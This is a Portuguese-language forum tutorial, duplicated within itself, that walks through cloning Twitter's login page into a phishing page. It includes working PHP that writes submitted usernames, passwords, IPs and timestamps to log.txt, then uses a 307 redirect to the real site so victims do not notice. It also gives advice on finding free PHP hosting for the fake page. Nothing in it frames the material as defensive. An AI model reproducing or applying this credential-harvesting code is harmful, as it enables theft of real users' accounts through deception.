Criando página fake
Me impressiona a quantidade de pessoas com dificuldade em 'fakear' uma página existente. Já recebi inúmeras mensagens com pessoas pedindo ajuda para tal.
Vou mostrar que é relativamente simples.
Neste tutorial simples de meio de semana, entre uma prova e um trabalho, vamos criar uma página fake simples. Nosso alvo é o Twitter (escolhido à dedo).
Primeiramente, vamos navegar até a página que desejamos 'fakear' (novo verbo?). Como queremos a página inicial (de login), vamos simplesmente abrí-lo no navegador.
Agora, precisamos obter imagens, folhas de estilo e outras mídias que fazem a página funcionar. Para isso, dê um [Ctrl] + [S] na página. Salve-o em uma pasta em seu computador, com o nome 'index'.
Note que o navegador criou a pasta 'index.htm' e a pasta 'index_arquivos' (ou 'index_files').
Trabalharemos com a linguagem de programação web Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar.... Para começar, vamos renomear o arquivo salvo 'index.htm' para 'index.php'.
Abra o arquivo 'index.php' com um editor de códigos (ou mesmo o Bloco de notas). Agora, vamos precisar localizar o formulário de login.
Na página que será fakeada, ainda aberta em nosso navegador, vamos localizar alguns textos que possam nos facilitar encontrar o formulário de login no código HTML.
Note que dentro do campo de login temos a palavra 'Nome de usuário ou e-mail', em placeholder.
Encontrei essa linha:
(sempre achei que o Twitter usava o recurso 'placeholder' do HTML5, mas a verdade é que eles simulam um placeholder (o porquê eu não sei))
Agora, basta um conhecimento mínimo em HTML: um formulário é indicado pela tag <form>. Exemplo:
Veja como se inicia ('<form') e como termina ('</form>') um formulário em HTML. Vamos usar o olhar crítico e tentar julgar que formulário corresponde ao login.
Use o bom-senso. Temos grandes chances de que o texto que encontramos usando o [Ctrl] + [F] esteja entre o início e o fim do formulário. Bons editores de códigos, com recursos como colorização do código, podem te ajudar (e muito!).
Neste caso (do Twitter), temos:
Agora vamos precisar mudar o "action" (ação) do formulário, já que ele está apontando para a página do Twitter.
Se não inserirmos nada no action, o renderizador HTML do navegador automaticamente o definirá como sendo a página atual. Neste caso, faremos:
Vamos verificar também o método (method) do formulário. Para logins, costuma-se sempre usar "post", mas também é possível usar "get" (embora os dados enviados sejam vistos pela URL).
Neste caso, o método é 'post'.
Vamos guardar também os nomes dos campos de textos que queremos obter. Agora o que vale é sua visão.
No código do formulário, o temos em ordem: o label (nome de um campo) 'Nome de usuário ou e-mail', o campo de login, o label 'Senha' e o campo de senha.
Precisamos obter os nomes (name) desses campos (input). Usaremos os campos session[username_or_email] e session[password]. Note que trata-se de um array (vetor) 'session'. Você pode alterar os nomes, mas não é interessante.
Ok, vamos ao topo (primeira linha) do código HTML da página (index.php) e iniciar a programar o que salvará as senhas para nós.
Precisamos ver se o login e a senha estão setadas.
Como já dissemos, os nomes dos campos são um vetor 'session' (vemos isso pelos sinais '[' e ']'). Por isso escrevemos daquele jeito.
Vamos jogar cada um para uma variável, para ficar mais fácil na hora de re-obter estes dados (menos caracteres para digitar). Vamos obter também o IP e a data/hora atual:
E então, vamos gravar estes dados no arquivo 'log.txt'.
Vamos agora redirecionar o usuário à página de login verdadeira, mas mantendo os dados enviados pelo formulário, para que o usuário se logue normalmente, sem saber do que ocorreu.
Para isso, adicionamos um HTTP Header com redirecionamento para o "action" original do formulário e status 307.
Agora nós devemos criar o arquivo 'log.txt' (você pode colocar outro nome ou mesmo outra pasta, mas terá que alterar no 'fopen' do código). Dependendo do servidor, é necessário dar CHMOD 777 (permissão total (escrita e leitura)) neste arquivo. Isto é feito pelo gerenciador de arquivos (como um cliente FTP).
Onde hospedar? Precisamos de um servidor que suporte PHP.
Isto é extremamente fácil de achar. Procure 'free php webhost' no Google.
A partir daí, basta enviar todos os arquivos.
O problema é que servidores gratuitos costumam excluir contas com páginas fake.
Como (na verdade) páginas fake não são minha praia, vou deixar esta pergunta para que alguém mais 'do ramo' possa responder.
Até a próxima!
Me impressiona a quantidade de pessoas com dificuldade em 'fakear' uma página existente. Já recebi inúmeras mensagens com pessoas pedindo ajuda para tal.
Vou mostrar que é relativamente simples.
Neste tutorial simples de meio de semana, entre uma prova e um trabalho, vamos criar uma página fake simples. Nosso alvo é o Twitter (escolhido à dedo).
Primeiramente, vamos navegar até a página que desejamos 'fakear' (novo verbo?). Como queremos a página inicial (de login), vamos simplesmente abrí-lo no navegador.
Agora, precisamos obter imagens, folhas de estilo e outras mídias que fazem a página funcionar. Para isso, dê um [Ctrl] + [S] na página. Salve-o em uma pasta em seu computador, com o nome 'index'.
Note que o navegador criou a pasta 'index.htm' e a pasta 'index_arquivos' (ou 'index_files').
Trabalharemos com a linguagem de programação web Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar.... Para começar, vamos renomear o arquivo salvo 'index.htm' para 'index.php'.
Abra o arquivo 'index.php' com um editor de códigos (ou mesmo o Bloco de notas). Agora, vamos precisar localizar o formulário de login.
Na página que será fakeada, ainda aberta em nosso navegador, vamos localizar alguns textos que possam nos facilitar encontrar o formulário de login no código HTML.
Note que dentro do campo de login temos a palavra 'Nome de usuário ou e-mail', em placeholder.
"Placeholder" é um recurso de HTML5 que cria um texto em um controle que desaparece quando o campo recebe foco, e reaparece após perder o foco, caso o campo esteja vazio.
No código HTML que abrimos do arquivo 'index.php', vamos procurar ([Ctrl] + [F]) pelo texto "Nome de usuário ou e-mail".Encontrei essa linha:
Código HTML:
<span>Nome de usuário ou e-mail</span>
Agora, basta um conhecimento mínimo em HTML: um formulário é indicado pela tag <form>. Exemplo:
Código HTML:
<form action="acao" method="método"> <!-- código do formulário --> </form>
Use o bom-senso. Temos grandes chances de que o texto que encontramos usando o [Ctrl] + [F] esteja entre o início e o fim do formulário. Bons editores de códigos, com recursos como colorização do código, podem te ajudar (e muito!).
Neste caso (do Twitter), temos:
Código HTML:
<form action="https://twitter.com/sessions?phx=1" class="js-signin signin" method="post"> <fieldset class="textbox"> <label class="username js-username"> <span>Nome de usuário ou e-mail</span> <input class="js-username-field email-input" type="text" value="" name="session[username_or_email]" autocomplete="on"></label> <label class="password js-password"> <span>Senha</span> <input class="js-password-field" type="password" value="" name="session[password]"></label> </fieldset> <fieldset class="subchck"> <label class="remember"> <input type="checkbox" value="1" name="remember_me"> <span>Lembrar-me</span> </label> <button type="submit" class="btn submit">Entrar</button> </fieldset> <input type="hidden" name="scribe_log"> <input type="hidden" name="redirect_after_login" value=""> <div class="divider"></div> <p> <a class="forgot" href="http://twitter.com/account/resend_password">Esqueceu sua senha?</a><br> <a class="mobile has-sms" href="http://twitter.com/account/complete">Já utiliza o Twitter via mensagem de texto?</a> </p> </form>
Se não inserirmos nada no action, o renderizador HTML do navegador automaticamente o definirá como sendo a página atual. Neste caso, faremos:
Código HTML:
<form action="" class="js-signin signin" method="post">
Neste caso, o método é 'post'.
Vamos guardar também os nomes dos campos de textos que queremos obter. Agora o que vale é sua visão.
No código do formulário, o temos em ordem: o label (nome de um campo) 'Nome de usuário ou e-mail', o campo de login, o label 'Senha' e o campo de senha.
Precisamos obter os nomes (name) desses campos (input). Usaremos os campos session[username_or_email] e session[password]. Note que trata-se de um array (vetor) 'session'. Você pode alterar os nomes, mas não é interessante.
Ok, vamos ao topo (primeira linha) do código HTML da página (index.php) e iniciar a programar o que salvará as senhas para nós.
Precisamos ver se o login e a senha estão setadas.
Código PHP:
<?php
if(isset($_POST['session']['username_or_email']) AND isset($_POST['session']['password'])) {
Mas, vamos dar outro exemplo: digamos que o nome do campo de login seja apenas 'username_or_email', e não 'session[username_or_email]'. Neste caso, obteríamos este campo da seguinte forma:
E outra: por que estamos utilizando '$_POST'? Lembra-se do método do formulário (post)?
E se o método fosse 'get', usaríamos '$_GET'.
Continuando o código, estamos dentro de uma condicional IF. Isto quer dizer que o código que escrevermos agora, até o fechamento com '}', só será executado caso o login e a senha estejam setados.Código PHP:
$_POST['username_or_email']; // name="username_or_email"
$_POST['session']['username_or_email']; // name="session[username_or_email]"
E se o método fosse 'get', usaríamos '$_GET'.
Vamos jogar cada um para uma variável, para ficar mais fácil na hora de re-obter estes dados (menos caracteres para digitar). Vamos obter também o IP e a data/hora atual:
Código PHP:
$login = $_POST['session']['username_or_email'];
$senha = $_POST['session']['password'];
$ip = $_SERVER['REMOTE_ADDR'];
$data = date("d/m/Y H:i:s");
Código PHP:
$abrir = fopen("log.txt", "a+"); // abrimos o arquivo para edição, adicionando novo conteúdo sem apagar o conteúdo anterior
fwrite($abrir, "\nLogin: $login
Senha: $senha
IP: $ip
Data: $data\n"); // adicionamos uma linha ao início e ao final, para separar melhor com 2 linhas cada registro ('\n' é o mesmo que um Enter)
fclose($abre); // fechamos o arquivo
Para isso, adicionamos um HTTP Header com redirecionamento para o "action" original do formulário e status 307.
Código PHP:
header("Location: https://twitter.com/sessions?phx=1", TRUE, 307);
exit; // em seguida, vamos parar a execução
} // e fechar a condicional 'IF'
// aí abaixo, o código original da página fake:
?>
<!DOCTYPE html>
(...)
Onde hospedar? Precisamos de um servidor que suporte PHP.
Isto é extremamente fácil de achar. Procure 'free php webhost' no Google.
A partir daí, basta enviar todos os arquivos.
O problema é que servidores gratuitos costumam excluir contas com páginas fake.
Como (na verdade) páginas fake não são minha praia, vou deixar esta pergunta para que alguém mais 'do ramo' possa responder.
Até a próxima!
Comment